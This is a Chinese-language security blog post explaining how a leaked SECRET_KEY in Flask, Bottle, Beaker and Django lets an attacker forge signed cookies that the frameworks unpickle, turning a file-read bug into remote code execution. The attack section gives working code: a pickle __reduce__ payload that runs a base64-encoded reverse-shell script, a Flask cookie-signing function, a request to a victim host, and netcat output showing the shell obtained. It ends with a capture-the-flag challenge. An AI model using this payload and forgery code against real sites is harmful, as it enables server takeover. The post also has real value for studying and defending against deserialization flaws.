对于Python的框架中一些会话程序的管理

Django, Bottle, Flask,等所有的python web框架都需要配置一个SECRET_KEY。文档通常推荐我们使用随机的值，但我很难发现他有任何文字说明，因为这样容易被破解(本地攻击或者文本阅读在web app中更容易受攻击)。攻击者可以使用SECRET_KEY伪造cookies，csrf token然后使用管理员工具。不过这很难做到，不过他可以搞一些小破坏，比如执行恶意代码。这也是我下面将要介绍的。

记得以前使用PHP找到一个可以读服务器上任意文件的bug(不包含本地文件)，你将会被迫选择远程执行代码（RCE）。你就需要审查大部分的app资源文件来找到其他的bugs或者有用的信息（比如说用户密码，或者数据库信息等）。在这个情况下，我们能说PHP是更安全的吗？
在攻击一个Python网站框架的时候，知道你设置的SECRET_KEY字段的攻击者，能够简单的将LFR攻击升级到RCE攻击。我(作者)是从攻击一系列的网站框架之后得出如上结论的。在这些网站框架中，都有雷同的，使用Pickle作为将经过签名的Cookie序列化的方式。

在Flask框架中，Flask在config['SECRET_KEY']被赋予某个值，session_cookie_name(default='session')存在于cookie中的时候，将Cookie反序列化，甚至在没有session的情况下。(这样多么好，攻击者可以仅仅通过向config file添加SECRET_KEY的方式制造后门，并且，天真的用户将认为这非常'重要')

从 werkzeug library 里面提取出来的反序列方法是这样的:

def unserialize(cls, string, secret_key):
    if isinstance(string, unicode):
      string = string.encode('utf-8', 'replace')
    try:
      base64_hash, data = string.split('?', 1)
    except (ValueError, IndexError):
      items = ()
    else:
      items = {}
      mac = hmac(secret_key, None, cls.hash_method)
      # -- snip ---
      try:
        client_hash = base64_hash.decode('base64')
      except Exception:
        items = client_hash = None
      if items is not None and safe_str_cmp(client_hash, mac.digest()):
        try:
          for key, value in items.iteritems():
            items[key] = cls.unquote(value)
        except UnquoteError:
          # -- snip --
      else:
        items = ()
    return cls(items, secret_key, False)

反序列方法检查签名，然后在签名正确的情况下unquote()cookie的值。unquote()方法看起来非常无辜，但是事实上，这是一个默认的pickle.

#: the module used for serialization. Unless overriden by subclasses
#: the standard pickle module is used.
serialization_method = pickle
def unquote(cls, value):
  # -- snip --
    if cls.quote_base64:
      value = value.decode('base64')
    if cls.serialization_method is not None:
      value = cls.serialization_method.loads(value)
    return value
  # -- snip --

Bottle: 在默认的bottle设定中时没有真正的secret key的，但是也许有人想要用signed cookie的功能来加密他自己的cookie.

让我们来看看代码是怎么样的:

def get_cookie(self, key, default=None, secret=None):
  value = self.cookies.get(key)
  if secret and value:
    dec = cookie_decode(value, secret) # (key, value) tuple or None
    return dec[1] if dec and dec[0] == key else default
  return value or default

当这个密钥被展现出来的时候，并且在cookie中还有其他数值的时候，cookie_decode方法被调用:

def cookie_decode(data, key):
  data = tob(data)
  if cookie_is_encoded(data):
    sig, msg = data.split(tob('?'), 1)
    if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
      return pickle.loads(base64.b64decode(msg))
  return None

再次，我们看到了Pickle !

Beaker的session:(任何服务都可以在session上使用beaker的中间件，bottle框架甚至推荐这么做) Beaker.Session 具有很多功能，并且这可能被混淆: 这里面有三个密钥 secret_key, validate_key, encrypted_key)

encrypt_key: 加密cookie信息，然后要么向客户端发送(session.type="cookie"/Cookie mode)，要么在(session.type="file"/File mode)中储存。如果没有设定encrypt_key,那么cookie不会被加密，只会被base64编码。当有encrypt_key的时候，cookie会被用encrypted_key, validate_key(可选)和一个随机值用AES方法加密。
    validate_key: 用来给加密的cookie签名
    secret:在用File mode时候给cookie签名(我不知道为什么他们不就用一个validate_key就好了！)

当然，当有人对文件拥有读的权限的时候，他/她理所当然知道所有的字段。然而，File mode使得攻击不得能因为我们对已经序列化的数据并没有控制权，例如，当这些数据储存在本地硬盘上的时候。在Cookie mode,攻击就能够成立，即便cookie被编码了(因为我们知道怎么encrypt,哈哈)。你也许会问，那个随机参数是不可知的，你们没办法攻击，幸运的是这个随机参数也是cookie存数的session数据的一部分，因此，我们可以将其替代为任何我们需要的值。

下面是他们构造session数据的代码

def _encrypt_data(self, session_data=None):
   """Serialize, encipher, and base64 the session dict"""
   session_data = session_data or self.copy()
   if self.encrypt_key:
     nonce = b64encode(os.urandom(6))[:8]
     encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
                     self.validate_key + nonce, 1)
     data = util.pickle.dumps(session_data, 2)
     return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
   else:
     data = util.pickle.dumps(session_data, 2)
     return b64encode(data)

我们明显的看到这些数据的处理存在风险。

Django: 最知名也是在Python语言中最复杂的一个服务器框架。而且，没错，Django的开发者们在Cookie Session上放置了一个蛮不错的警告。以我之鄙见，这个警告不够，而应该被替换成'致命'或者是'警示'，并且标上红色。

Django的Session是咋么工作的呢？我们能够从Django的文档中轻易的找到可阅读的答案:总而言之，Django给了session 3个可以设定的项目:db,file以及signed_cookie。再一次，我们只对signed_cookie产生兴趣，因为我们可以轻松的改变它。如果SESSION_ENGINE被设定为“django.contrib.sessions.backends.signed_cookies“,我们就确定signed_cookie是背用于session的管理。

有趣的是，如果我们在request cookie里面构造一个sessionid，它总是会被反序列化。Django也给了我们一个cookie是如何被签名的好实例。这让我们的工作轻松多了。

我们的攻击

我们还没有讨论我们如何攻击（有些你可能已经知道了）！感谢您的耐心看到最后，我写它在最后是因为攻击手段充满共性，而且简单（是的，原则性的知识）。

在这里，我们可以读取任何文件。要找到Python应用程序的配置文件并不难，因为到处有导入(import)。当我们获得的密钥时，我们可以简单的实现（或重复使用）签署web框架的cookie，并使用我们的恶意代码。 因为它们使用的是pickle.loads()反序列化的时候，我们的使用pickle.dumps()保存恶意代码。

piclke.dump()和loads()通常在处理整数，字符串，数列，哈希，字典类型的时候是安全的....但是他在处理一些恶意构造的数据类型的时候就不安全了！事实上，攻击者可以通过构造的数据类型来达到执行任意Python代码的目的。我写了一段不错的小程序来吧Python代码转换成Pickle序列化的对象。我们应该从connback.py开始阅读(这实际上是一个反向链接的shell),然后我们将诱使对方网站来用Pickle方法将其序列化。如果有人执行了pickle.loads(payload),那么我们的反向链接shell就会被激活。

code = b64(open('connback.py').read())
class ex(object):
  def __reduce__(self):
    return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())

现在我们签名(适用于flask web框架):

def send_flask(key, payload):
  data = 'id='+b64(payload)
  mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
  s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}

然后发送

print requests.get('http://victim/', cookies={'session':s})

在另外一个终端里:

danghvu@thebeast:~$ nc -lvvv 1337
Connection from x.x.x.x port 1337 [tcp/*] accepted
!P0Wn! Congratulation !!
sh: no job control in this shell
sh-4.1$

还有啥?

-所以怎样？只要你不知道我的secret_key我就是安全的！可以啊，你可以这样....但是和宣称："我把我的钥匙放在房顶上，我知道你爬不上来..."没啥区别。

-好的， 所以如果我不用这种session cookie,我就安全了！没错，在小型的web app上，将session 储存在文件里面更安全(如果放在DB里面，我们还面临SQL Injection的危险)。但是如果是大型web app，然后你有个分布式的存储方式，这将导致严重的效率问题。

-那咋办？也许我们应该让那些web框架不要用piclke来序列化？我不知道是否存在这种框架，如果有的话就好了。PHP更安全吗？事实上不是如此

最后：

Web.Py,当我查看他们的web session文档的时候我发现:CookieHandler – DANGEROUS, UNSECURE, EXPERIMENTAL

所以，干得好:D ，也许所有人都应该这样做。你们应该去试试web.py和其他框架。

我做了这些，如果你想要让它奏效你也可以花点时间上去。

作为一个礼物，这个网站是有这个漏洞的，让我们看看你们是不是能够把lfr bug升级成为一个rce，然后你们会找到真正的礼物：一个flag...

更新:有漏洞的网站的源码放在github上了，它的secret_key已经不一样了。